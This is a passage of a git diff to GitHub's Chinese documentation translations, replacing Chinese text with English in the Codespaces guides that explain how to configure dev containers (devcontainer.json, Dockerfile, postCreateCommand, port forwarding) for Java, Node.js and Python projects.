version of Java. + ![Java version selection](/assets/images/help/codespaces/add-java-version.png) {% data reusables.codespaces.rebuild-command %} -### 开发容器的剖析 +### Anatomy of your dev container -添加 Java 开发容器模板会将 `.devcontainer` 文件夹添加到项目仓库的根目录中，其中包含以下文件： +Adding the Java dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files: - `devcontainer.json` - Dockerfile -新添加的 `devcontainer.json` 文件定义了几个在样本之后描述的属性。 +The newly added `devcontainer.json` file defines a few properties that are described after the sample. #### devcontainer.json @@ -65,55 +69,55 @@ topics: // For format details, see https://aka.ms/vscode-remote/devcontainer.json or this file's README at: // https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java { - "name": "Java", - "build": { - "dockerfile": "Dockerfile", - "args": { - // Update the VARIANT arg to pick a Java version: 11, 14 - "VARIANT": "11", - // Options - "INSTALL_MAVEN": "true", - "INSTALL_GRADLE": "false", - "INSTALL_NODE": "false", - "NODE_VERSION": "lts/*" - } - }, + "name": "Java", + "build": { + "dockerfile": "Dockerfile", + "args": { + // Update the VARIANT arg to pick a Java version: 11, 14 + "VARIANT": "11", + // Options + "INSTALL_MAVEN": "true", + "INSTALL_GRADLE": "false", + "INSTALL_NODE": "false", + "NODE_VERSION": "lts/*" + } + }, - // Set *default* container specific settings.json values on container create. - "settings": { - "terminal.integrated.shell.linux": "/bin/bash", - "java.home": "/docker-java-home", - "maven.executable.path": "/usr/local/sdkman/candidates/maven/current/bin/mvn" - }, + // Set *default* container specific settings.json values on container create. + "settings": { + "terminal.integrated.shell.linux": "/bin/bash", + "java.home": "/docker-java-home", + "maven.executable.path": "/usr/local/sdkman/candidates/maven/current/bin/mvn" + }, - // Add the IDs of extensions you want installed when the container is created. - "extensions": [ - "vscjava.vscode-java-pack" - ], + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "vscjava.vscode-java-pack" + ], - // Use 'forwardPorts' to make a list of ports inside the container available locally. - // "forwardPorts": [], + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // "forwardPorts": [], - // Use 'postCreateCommand' to run commands after the container is created. - // "postCreateCommand": "java -version", + // Use 'postCreateCommand' to run commands after the container is created. + // "postCreateCommand": "java -version", - // Uncomment to connect as a non-root user. 请参阅 https://aka.ms/vscode-remote/containers/non-root。 - "remoteUser": "vscode" + // Uncomment to connect as a non-root user. See https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "vscode" } ``` -- **Name** - 您可以将开发容器命名为任何名称，这只是默认名称。 -- **Build** - 构建属性。 - - **Dockerfile** - 在构建对象中，dockerfile 是对 Dockerfile 的引用，该文件也是从模板中添加的。 +- **Name** - You can name your dev container anything, this is just the default. +- **Build** - The build properties. + - **Dockerfile** - In the build object, dockerfile is a reference to the Dockerfile that was also added from the template. - **Args** - - **Variant**：此文件仅包含一个构建参数，即传递到 Dockerfile 的 Java 版本。 -- **Settings** - 它们是您可以设置的 {% data variables.product.prodname_vscode %} 设置。 - - **Terminal.integrated.shell.linux** - 虽然 bash 是此处的默认设置，但您可以通过修改它来使用其他终端 shell。 -- **Extensions** - 它们是默认包含的扩展名。 - - **Vscjava.vscode-java-pack** - Java 扩展包为 Java 开发提供了流行的扩展，以帮助您入门。 -- **forwardPorts** - 此处列出的任何端口都将自动转发。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." -- **postCreateCommand** - 如果您要在进入 Dockerfile 中未定义的代码空间后执行任何操作，您可以在此处执行。 -- **remoteUser** - 默认情况下，您以 `vscode` 用户身份运行，但您可以选择将其设置为 `root`。 + - **Variant**: This file only contains one build argument, which is the Java version that is passed into the Dockerfile. +- **Settings** - These are {% data variables.product.prodname_vscode %} settings that you can set. + - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this. +- **Extensions** - These are extensions included by default. + - **Vscjava.vscode-java-pack** - The Java Extension Pack provides popular extensions for Java development to get you started. +- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." +- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, you can do that here. +- **remoteUser** - By default, you’re running as the `vscode` user, but you can optionally set this to `root`. #### Dockerfile @@ -143,48 +147,48 @@ RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "source /usr/local/shar # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1 ``` -您可以使用 Dockerfile 添加其他容器层，以指定要包含在 Dockerfile 中的操作系统包、Java 版本或全局包。 +You can use the Dockerfile to add additional container layers to specify OS packages, Java versions, or global packages we want included in our Dockerfile. -## 步骤 3：修改 devcontainer.json 文件 +## Step 3: Modify your devcontainer.json file -添加了开发容器并基本了解所有功能之后，您现在可以进行更改以针对您的环境进行配置。 在此示例中，您将在代码空间启动时添加属性以安装扩展和项目依赖项。 +With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches. -1. 在 Explorer 中，从树中选择 `devcontainer.json` 文件来打开它。 您可能需要展开 `.devcontainer` 文件夹才能看到它。 +1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it. ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png) -2. 在 `devcontainer.json` 文件中的 `extensions` 后面添加以下行。 +2. Add the following lines to your `devcontainer.json` file after `extensions`. ```json{:copy} "postCreateCommand": "npm install", "forwardPorts": [4000], ``` - 有关 `devcontainer.json` 属性的更多信息，请参阅 Visual Studio 文档中的 [devcontainer.json 参考](https://code.visualstudio.com/docs/remote/devcontainerjson-reference)。 + For more information on `devcontainer.json` properties, see the [devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) on the Visual Studio Code docs. {% data reusables.codespaces.rebuild-command %} - 在代码空间内进行重建可确保在将更改提交到仓库之前，更改能够按预期工作。 如果某些问题导致了故障，您将进入带有恢复容器的代码空间中，您可以从该容器进行重建以继续调整容器。 + Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container. -## 步骤 4：运行应用程序 +## Step 4: Run your application -在上一节中，您使用 `postCreateCommand` 通过 npm 安装了一组包。 您现在可以使用它来通过 npm 运行应用程序。 +In the previous section, you used the `postCreateCommand` to install a set of packages via npm. You can now use this to run our application with npm. -1. 按 `F5` 运行应用程序。 +1. Run your application by pressing `F5`. -2. 项目启动时，您应该在右下角看到一个信息框，提示您连接到项目使用的端口。 +2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses. - ![端口转发信息框](/assets/images/help/codespaces/codespaces-port-toast.png) + ![Port forwarding toast](/assets/images/help/codespaces/codespaces-port-toast.png) -## 步骤 5：提交更改 +## Step 5: Commit your changes {% data reusables.codespaces.committing-link-to-procedure %} -## 后续步骤 +## Next steps -现在，您应该准备开始在 {% data variables.product.prodname_codespaces %} 中开发您的 Java 项目。 以下是用于更高级场景的一些额外资源。 +You should now be ready start developing your Java project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios. -- [管理 {% data variables.product.prodname_codespaces %} 的加密密码](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) -- [管理 {% data variables.product.prodname_codespaces %} 的 GPG 验证](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) -- [代码空间中的转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) +- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) +- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) +- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md index 9e10c79cb3..d2825ffebe 100644 --- a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md +++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md @@ -1,7 +1,7 @@ --- title: Setting up your Node.js project for Codespaces shortTitle: Setting up your Node.js project -intro: '通过创建自定义开发容器，开始在 {% data variables.product.prodname_codespaces %} 中使用 JavaScript、Node.js 或 TypeScript 项目。' +intro: 'Get started with your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.' product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' @@ -14,53 +14,57 @@ topics: - Developer - Node - JavaScript +hasExperimentalAlternative: true +hidden: true --- -## 简介 +## Introduction -本指南介绍如何在 {% data variables.product.prodname_codespaces %} 中设置 JavaScript、Node.js 或 TypeScript 项目。 它将演示在代码空间中打开项目以及从模板添加和修改开发容器配置的示例。 +This guide shows you how to set up your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template. -### 基本要求 +### Prerequisites -- 您应该在 {% data variables.product.prodname_dotcom_the_website %} 的仓库中有现有的 JavaScript、Node.js 或 TypeScript 项目。 如果您没有项目，可以使用以下示例尝试本教程：https://github.com/microsoft/vscode-remote-try-node -- 您必须为组织启用 {% data variables.product.prodname_codespaces %} 。 +- You should have an existing JavaScript, Node.js, or TypeScript project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/microsoft/vscode-remote-try-node +- You must have {% data variables.product.prodname_codespaces %} enabled for your organization. -## 步骤 1：在代码空间中打开项目 +## Step 1: Open your project in a codespace 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**. - ![新建代码空间按钮](/assets/images/help/codespaces/new-codespace-button.png) + ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information. -创建代码空间时，您的项目是在专用于您的远程 VM 上创建的。 默认情况下，代码空间的容器有许多语言和运行时，包括 Node.js、JavaScript、Typescript、nvm、npm 和 yarn。 它还包括一套常见的工具，例如 git、wget、rsync、openssh 和 nano。 +When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano. -您可以通过调整 vCPU 和 RAM 的数量、[添加 dotfiles 以个性化环境](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)或者修改安装的工具和脚本来自定义代码空间。 +You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed. -{% data variables.product.prodname_codespaces %} 使用名为 `devcontainer.json` 的文件来存储配置。 在启动时， {% data variables.product.prodname_codespaces %} 使用文件安装项目可能需要的任何工具、依赖项或其他设置。 更多信息请参阅“[为项目配置代码空间](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)”。 +{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." -## 步骤 2：从模板将开发容器添加到您的代码空间 +## Step 2: Add a dev container to your codespace from a template -默认代码空间容器将支持运行 Node.js 项目，如开箱即用 [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node)。 通过设置自定义容器，您可以自定义在代码空间创建过程中运行的工具和脚本，并确保为仓库中的所有 {% data variables.product.prodname_codespaces %} 用户提供完全可复制的环境。 +The default codespaces container will support running Node.js projects like [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node) out of the box. By setting up a custom container you can customize the tools and scripts that run as part of codespace creation and ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository. -要使用自定义容器设置项目，您需要使用 `devcontainer.json` 文件来定义环境。 在 {% data variables.product.prodname_codespaces %} 中，您可以从模板添加它，也可以自己创建。 有关开发容器的更多信息，请参阅“[为项目配置代码空间](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)”。 +To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)". {% data reusables.codespaces.command-palette-container %} -3. 对于此示例，单击 **Node.js**。 如果需要其他功能，您可以选择任何特定于节点或工具（如节点和 MongoDB）组合的容器。 ![从列表中选择节点选项](/assets/images/help/codespaces/add-node-prebuilt-container.png) -4. 单击推荐的 Node.js 版本。 ![Node.js 版本选择](/assets/images/help/codespaces/add-node-version.png) +3. For this example, click **Node.js**. If you need additional features you can select any container that’s specific to Node or a combination of tools such as Node and MongoDB. + ![Select Node option from the list](/assets/images/help/codespaces/add-node-prebuilt-container.png) +4. Click the recommended version of Node.js. + ![Node.js version selection](/assets/images/help/codespaces/add-node-version.png) {% data reusables.codespaces.rebuild-command %} -### 开发容器的剖析 +### Anatomy of your dev container -添加 Node.js 开发容器模板会将 `.devcontainer` 文件夹添加到项目仓库的根目录中，其中包含以下文件： +Adding the Node.js dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files: - `devcontainer.json` - Dockerfile -新添加的 `devcontainer.json` 文件定义了几个在样本之后描述的属性。 +The newly added `devcontainer.json` file defines a few properties that are described after the sample. #### devcontainer.json @@ -68,46 +72,46 @@ topics: // For format details, see https://aka.ms/devcontainer.json. For config options, see the README at: // https://github.com/microsoft/vscode-dev-containers/tree/v0.162.0/containers/javascript-node { - "name": "Node.js", - "build": { - "dockerfile": "Dockerfile", - // Update 'VARIANT' to pick a Node version: 10, 12, 14 - "args": { "VARIANT": "14" } - }, + "name": "Node.js", + "build": { + "dockerfile": "Dockerfile", + // Update 'VARIANT' to pick a Node version: 10, 12, 14 + "args": { "VARIANT": "14" } + }, - // Set *default* container specific settings.json values on container create. - "settings": { - "terminal.integrated.shell.linux": "/bin/bash" - }, + // Set *default* container specific settings.json values on container create. + "settings": { + "terminal.integrated.shell.linux": "/bin/bash" + }, - // Add the IDs of extensions you want installed when the container is created. - "extensions": [ - "dbaeumer.vscode-eslint" - ], + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "dbaeumer.vscode-eslint" + ], - // Use 'forwardPorts' to make a list of ports inside the container available locally. - // "forwardPorts": [], + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // "forwardPorts": [], - // Use 'postCreateCommand' to run commands after the container is created. - // "postCreateCommand": "yarn install", + // Use 'postCreateCommand' to run commands after the container is created. + // "postCreateCommand": "yarn install", - // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. - "remoteUser": "node" + // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "node" } ``` -- **Name** - 您可以将开发容器命名为任何名称，这只是默认名称。 -- **Build** - 构建属性。 - - **dockerfile** - 在构建对象中，dockerfile 是对 Dockerfile 的引用，该文件也是从模板中添加的。 +- **Name** - You can name your dev container anything, this is just the default. +- **Build** - The build properties. + - **dockerfile** - In the build object, dockerfile is a reference to the Dockerfile that was also added from the template. - **Args** - - **Variant**：此文件仅包含一个构建参数，即我们要用于传递到 Dockerfile 的节点变量。 -- **Settings** - 它们是您可以设置的 {% data variables.product.prodname_vscode %} 设置。 - - **Terminal.integrated.shell.linux** - 虽然 bash 是此处的默认设置，但您可以通过修改它来使用其他终端 shell。 -- **Extensions** - 它们是默认包含的扩展名。 - - **Dbaeumer.vscode-eslint** - ES lint 是 linting 的良好扩展，但是对于 JavaScript，您还可以包括许多出色的 Marketplace 扩展。 -- **forwardPorts** - 此处列出的任何端口都将自动转发。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." -- **postCreateCommand** - 如果您要在进入 Dockerfile 中未定义的代码空间后执行任何操作，您可以在此处执行。 -- **remoteUser** - 默认情况下，您以 vscode 用户身份运行，但您可以选择将其设置为 root。 + - **Variant**: This file only contains one build argument, which is the node variant we want to use that is passed into the Dockerfile. +- **Settings** - These are {% data variables.product.prodname_vscode %} settings that you can set. + - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this. +- **Extensions** - These are extensions included by default. + - **Dbaeumer.vscode-eslint** - ES lint is a great extension for linting, but for JavaScript there are a number of great Marketplace extensions you could also include. +- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." +- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, you can do that here. +- **remoteUser** - By default, you’re running as the vscode user, but you can optionally set this to root. #### Dockerfile @@ -128,50 +132,50 @@ FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-${VARIANT} # RUN su node -c "npm install -g " ``` -您可以使用 Dockerfile 添加其他容器层，以指定要包含在 Dockerfile 中的操作系统包、节点版本或全局包。 +You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our Dockerfile. -## 步骤 3：修改 devcontainer.json 文件 +## Step 3: Modify your devcontainer.json file -添加了开发容器并基本了解所有功能之后，您现在可以进行更改以针对您的环境进行配置。 在此示例中，您将添加属性以在代码空间启动时安装 npm，并使容器内的端口列表在本地可用。 +With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install npm when your codespace launches and make a list of ports inside the container available locally. -1. 在 Explorer 中，从树中选择 `devcontainer.json` 文件来打开它。 您可能需要展开 `.devcontainer` 文件夹才能看到它。 +1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it. ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png) -2. 在 `devcontainer.json` 文件中的 `extensions` 后面添加以下行： +2. Add the following lines to your `devcontainer.json` file after `extensions`: ```json{:copy} "postCreateCommand": "npm install", "forwardPorts": [4000], ``` - 有关 `devcontainer.json` 属性的更多信息，请参阅 {% data variables.product.prodname_vscode %} 文档中的 [devcontainer.json 参考](https://code.visualstudio.com/docs/remote/devcontainerjson-reference)。 + For more information on `devcontainer.json` properties, see the [devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) in the {% data variables.product.prodname_vscode %} docs. {% data reusables.codespaces.rebuild-command %} - 在代码空间内进行重建可确保在将更改提交到仓库之前，更改能够按预期工作。 如果某些问题导致了故障，您将进入带有恢复容器的代码空间中，您可以从该容器进行重建以继续调整容器。 + Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container. -## 步骤 4：运行应用程序 +## Step 4: Run your application -在上一节中，您使用 `postCreateCommand` 通过 npm 安装了一组包。 您现在可以使用它来通过 npm 运行应用程序。 +In the previous section, you used the `postCreateCommand` to installing a set of packages via npm. You can now use this to run our application with npm. -1. 在终端中使用 `npm start` 运行启动命令。 +1. Run your start command in the terminal with`npm start`. - ![终端的 npm 启动](/assets/images/help/codespaces/codespaces-npmstart.png) + ![npm start in terminal](/assets/images/help/codespaces/codespaces-npmstart.png) -2. 项目启动时，您应该在右下角看到一个信息框，提示您连接到项目使用的端口。 +2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses. - ![端口转发信息框](/assets/images/help/codespaces/codespaces-port-toast.png) + ![Port forwarding toast](/assets/images/help/codespaces/codespaces-port-toast.png) -## 步骤 5：提交更改 +## Step 5: Commit your changes {% data reusables.codespaces.committing-link-to-procedure %} -## 后续步骤 +## Next steps -现在，您应该准备开始在 {% data variables.product.prodname_codespaces %} 中开发您的 JavaScript 项目。 以下是用于更高级场景的一些额外资源。 +You should now be ready start developing your JavaScript project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios. -- [管理代码空间的加密密码](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) -- [管理 {% data variables.product.prodname_codespaces %} 的 GPG 验证](/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces) -- [代码空间中的转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) +- [Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) +- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces) +- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md new file mode 100644 index 0000000000..6e68ed79d6 --- /dev/null +++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md @@ -0,0 +1,19 @@ +--- +title: Adding a dev container to your repository +shortTitle: Add a dev container to your repository +allowTitleToDifferFromFilename: true +intro: 'Get started with your Node.js, Python, .NET, or Java project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' +type: tutorial +topics: + - Codespaces + - Developer + - Node + - JavaScript +hasExperimentalAlternative: true +interactive: true +--- + + \ No newline at end of file diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md index 307a5a3068..ff74da3c4c 100644 --- a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md +++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md @@ -1,7 +1,7 @@ --- title: Setting up your Python project for Codespaces shortTitle: Setting up your Python project -intro: '通过创建自定义开发容器，开始在 {% data variables.product.prodname_codespaces %} 中使用 Python 项目。' +intro: 'Get started with your Python project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.' product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' @@ -13,120 +13,125 @@ topics: - Codespaces - Developer - Python +hasExperimentalAlternative: true +hidden: true --- -## 简介 +## Introduction -本指南介绍如何在 {% data variables.product.prodname_codespaces %} 中设置 Python 项目。 它将演示在代码空间中打开项目以及从模板添加和修改开发容器配置的示例。 +This guide shows you how to set up your Python project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template. -### 基本要求 +### Prerequisites -- 您应该在 {% data variables.product.prodname_dotcom_the_website %} 的仓库中有现有的 Python 项目。 如果您没有项目，可以使用以下示例尝试本教程：https://github.com/2percentsilk/python-quickstart. -- 您必须为组织启用 {% data variables.product.prodname_codespaces %} 。 +- You should have an existing Python project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/2percentsilk/python-quickstart. +- You must have {% data variables.product.prodname_codespaces %} enabled for your organization. -## 步骤 1：在代码空间中打开项目 +## Step 1: Open your project in a codespace 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**. - ![新建代码空间按钮](/assets/images/help/codespaces/new-codespace-button.png) + ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information. -创建代码空间时，您的项目是在专用于您的远程 VM 上创建的。 默认情况下，代码空间的容器有许多语言和运行时，包括 Node.js、JavaScript、Typescript、nvm、npm 和 yarn。 它还包括一套常见的工具，例如 git、wget、rsync、openssh 和 nano。 +When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano. -您可以通过调整 vCPU 和 RAM 的数量、[添加 dotfiles 以个性化环境](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)或者修改安装的工具和脚本来自定义代码空间。 +You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed. -{% data variables.product.prodname_codespaces %} 使用名为 `devcontainer.json` 的文件来存储配置。 在启动时， {% data variables.product.prodname_codespaces %} 使用文件安装项目可能需要的任何工具、依赖项或其他设置。 更多信息请参阅“[为项目配置代码空间](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)”。 +{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." -## 步骤 2：从模板将开发容器添加到您的代码空间 +## Step 2: Add a dev container to your codespace from a template -默认代码空间容器附带最新的 Python 版本、包管理器（pip、Miniconda）和其他预装的常用工具。 但是，我们建议您设置一个自定义容器来定义项目所需的工具和脚本。 这将确保仓库中的所有 {% data variables.product.prodname_codespaces %} 用户都拥有完全可复制的环境。 +The default codespaces container comes with the latest Python version, package managers (pip, Miniconda), and other common tools preinstalled. However, we recommend that you set up a custom container to define the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository. -要使用自定义容器设置项目，您需要使用 `devcontainer.json` 文件来定义环境。 在 {% data variables.product.prodname_codespaces %} 中，您可以从模板添加它，也可以自己创建。 有关开发容器的更多信息，请参阅“[为项目配置代码空间](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)”。 +To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." {% data reusables.codespaces.command-palette-container %} -2. 对于此示例，单击 **Python 3**。 如果需要其他功能，您可以选择任何特定于 Python 或工具（如 Python 3 和 PostgreSQL）组合的容器。 ![从列表中选择 Python 选项](/assets/images/help/codespaces/add-python-prebuilt-container.png) -3. 单击推荐的 Python 版本。 ![Python 版本选择](/assets/images/help/codespaces/add-python-version.png) -4. 接受默认选项，将 Node.js 添加到您的自定义中。 ![添加 Node.js 选择](/assets/images/help/codespaces/add-nodejs-selection.png) +2. For this example, click **Python 3**. If you need additional features you can select any container that’s specific to Python or a combination of tools such as Python 3 and PostgreSQL. + ![Select Python option from the list](/assets/images/help/codespaces/add-python-prebuilt-container.png) +3. Click the recommended version of Python. + ![Python version selection](/assets/images/help/codespaces/add-python-version.png) +4. Accept the default option to add Node.js to your customization. + ![Add Node.js selection](/assets/images/help/codespaces/add-nodejs-selection.png) {% data reusables.codespaces.rebuild-command %} -### 开发容器的剖析 +### Anatomy of your dev container -添加 Python 开发容器模板会将 `.devcontainer` 文件夹添加到项目仓库的根目录中，其中包含以下文件： +Adding the Python dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files: - `devcontainer.json` - Dockerfile -新添加的 `devcontainer.json` 文件定义了几个在样本之后描述的属性。 +The newly added `devcontainer.json` file defines a few properties that are described after the sample. #### devcontainer.json ```json { - "name": "Python 3", - "build": { - "dockerfile": "Dockerfile", - "context": "..", - "args": { - // Update 'VARIANT' to pick a Python version: 3, 3.6, 3.7, 3.8, 3.9 - "VARIANT": "3", - // Options - "INSTALL_NODE": "true", - "NODE_VERSION": "lts/*" - } - }, + "name": "Python 3", + "build": { + "dockerfile": "Dockerfile", + "context": "..", + "args": { + // Update 'VARIANT' to pick a Python version: 3, 3.6, 3.7, 3.8, 3.9 + "VARIANT": "3", + // Options + "INSTALL_NODE": "true", + "NODE_VERSION": "lts/*" + } + }, - // Set *default* container specific settings.json values on container create. - "settings": { - "terminal.integrated.shell.linux": "/bin/bash", - "python.pythonPath": "/usr/local/bin/python", - "python.linting.enabled": true, - "python.linting.pylintEnabled": true, - "python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8", - "python.formatting.blackPath": "/usr/local/py-utils/bin/black", - "python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf", - "python.linting.banditPath": "/usr/local/py-utils/bin/bandit", - "python.linting.flake8Path": "/usr/local/py-utils/bin/flake8", - "python.linting.mypyPath": "/usr/local/py-utils/bin/mypy", - "python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle", - "python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle", - "python.linting.pylintPath": "/usr/local/py-utils/bin/pylint" - }, + // Set *default* container specific settings.json values on container create. + "settings": { + "terminal.integrated.shell.linux": "/bin/bash", + "python.pythonPath": "/usr/local/bin/python", + 